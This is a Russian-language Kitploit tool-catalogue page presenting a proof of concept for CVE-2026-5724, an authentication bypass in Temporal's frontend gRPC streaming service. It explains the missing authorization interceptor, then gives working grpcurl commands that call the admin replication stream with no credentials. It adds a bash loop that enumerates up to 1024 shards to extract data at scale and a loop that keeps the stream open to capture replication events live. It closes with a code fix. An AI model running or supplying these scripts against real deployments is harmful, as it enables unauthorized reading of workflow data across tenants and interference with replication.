Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-5724 — Доказательство концепции эксплуатации для CVE-2026-5724, обхода аутентификации в frontend gRPC-сервисе Temporal, позволяющего неавторизованный доступ к данным репликации рабочих процессов. | Kitploit
Инструменты/GitHubGitHub/tibrn/cve-2026-5724
Анализ уязвимостейЭксплуатацияВеб-безопасностьАутентификацияБезопасность API
GitHubtibrn/cve-2026-5724

CVE-2026-5724

Доказательство концепции эксплуатации для CVE-2026-5724, обхода аутентификации в frontend gRPC-сервисе Temporal, позволяющего неавторизованный доступ к данным репликации рабочих процессов.

Репозиторий
3 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Краткое описание

Сервис frontend в Temporal не обеспечивает аутентификацию на потоковых gRPC RPC-вызовах. В цепочке потоковых перехватчиков отсутствует перехватчик авторизации, что позволяет неаутентифицированным вызывающим получать доступ к AdminService/StreamWorkflowReplicationMessages — привилегированной конечной точке, доступной только администраторам, которая передаёт данные репликации рабочих процессов по всем пространствам имён.

Подробности

gRPC-сервер frontend в service/frontend/fx.go настраивает две цепочки перехватчиков. Потоковая цепочка включает только telemetryInterceptor.StreamIntercept для метрик и не содержит авторизации:

https://github.com/temporalio/temporal/blob/c9a39e6914c0b3a114ddfe42e991334ed911a4cf/service/frontend/fx.go#L292-L294

Тип authorization.Interceptor реализует только метод унарного перехватчика (Intercept). Потокового аналога не существует. Единственный потоковый RPC-вызов frontend — AdminService/StreamWorkflowReplicationMessages, который согласно https://github.com/temporalio/temporal/blob/c9a39e6914c0b3a114ddfe42e991334ed911a4cf/common/api/metadata.go#L214-L215 должен требовать {Scope: ScopeCluster, Access: AccessAdmin}. Потоковый вызов достигает обработчика в admin_handler.go:1904 без авторизации, где он напрямую проксируется на внутреннюю конечную точку репликации сервиса истории.

PoC

Возьмите развёртывание Temporal, открывающее gRPC API frontend.

Вызовите потоковый RPC AdminService без каких-либо учётных данных:

root@kitploit:~
grpcurl -max-time 15 \
  -H "temporal-client-cluster-id: 1" \
  -H "temporal-client-shard-id: 1" \
  -H "temporal-server-cluster-id: 1" \
  -H "temporal-server-shard-id: 1" \
  -d '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}' \
  temporal-frontend.example.com:443 \
  temporal.server.api.adminservice.v1.AdminService/StreamWorkflowReplicationMessages

# Поток подключается. Сервер отвечает состоянием репликации, включая
# exclusiveHighWatermark для каждого шарда. Во время активной репликации
# ответ содержит сериализованные события истории рабочих процессов:
# {
#   "messages": {
#     "replicationTasks": [{
#       "namespaceId": "...",
#       "workflowId": "...",
#       "runId": "...",
#       "taskType": "REPLICATION_TASK_TYPE_HISTORY_V2_TASK",
#       ...
#     }],
#     "exclusiveHighWatermark": "148293"
#   }
# }

Для перебора всех шардов и извлечения данных в масштабе:

root@kitploit:~
#!/usr/bin/env bash
set -euo pipefail

TARGET="${1:-temporal-frontend.example.com:443}"
NUM_SHARDS="${2:-1024}"   
CLUSTER_ID="${3:-1}"       # initialFailoverVersion: 1=активный, 2=переключение

ADMIN_SVC="temporal.server.api.adminservice.v1.AdminService"

for SHARD in $(seq 1 "${NUM_SHARDS}"); do
  grpcurl -max-time 10 \
    -H "temporal-client-cluster-id: ${CLUSTER_ID}" \
    -H "temporal-client-shard-id: ${SHARD}" \
    -H "temporal-server-cluster-id: ${CLUSTER_ID}" \
    -H "temporal-server-shard-id: ${SHARD}" \
    -d '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}' \
    "${TARGET}" "${ADMIN_SVC}/StreamWorkflowReplicationMessages" 2>&1 || true
done

Для постоянного удержания потока открытым и захвата событий репликации в реальном времени:

root@kitploit:~
(
  while true; do
    echo '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}'
    sleep 5
  done
) | grpcurl -d @ \
  -H "temporal-client-cluster-id: 1" \
  -H "temporal-client-shard-id: 1" \
  -H "temporal-server-cluster-id: 1" \
  -H "temporal-server-shard-id: 1" \
  temporal-frontend.example.com:443 \
  temporal.server.api.adminservice.v1.AdminService/StreamWorkflowReplicationMessages

Воздействие

Злоумышленник с доступом к frontend может читать данные репликации рабочих процессов по всем пространствам имён и арендаторам — идентификаторы рабочих процессов, идентификаторы запусков, события истории, полезные данные действий без каких-либо учётных данных. Злоумышленник также может вмешиваться в межцентровую репликацию, отправляя сообщения SyncReplicationState, и получает мост к внутреннему сервису истории, который обычно никогда не открывается наружу.

Решение

Реализуйте StreamServerInterceptor в authorization.Interceptor и добавьте его в потоковую цепочку в service/frontend/fx.go:292-296:

root@kitploit:~
streamInterceptor := []grpc.StreamServerInterceptor{
    telemetryInterceptor.StreamIntercept,
    authInterceptor.StreamIntercept,  // обеспечить авторизацию на потоковых RPC-вызовах
}
Скачать инструмент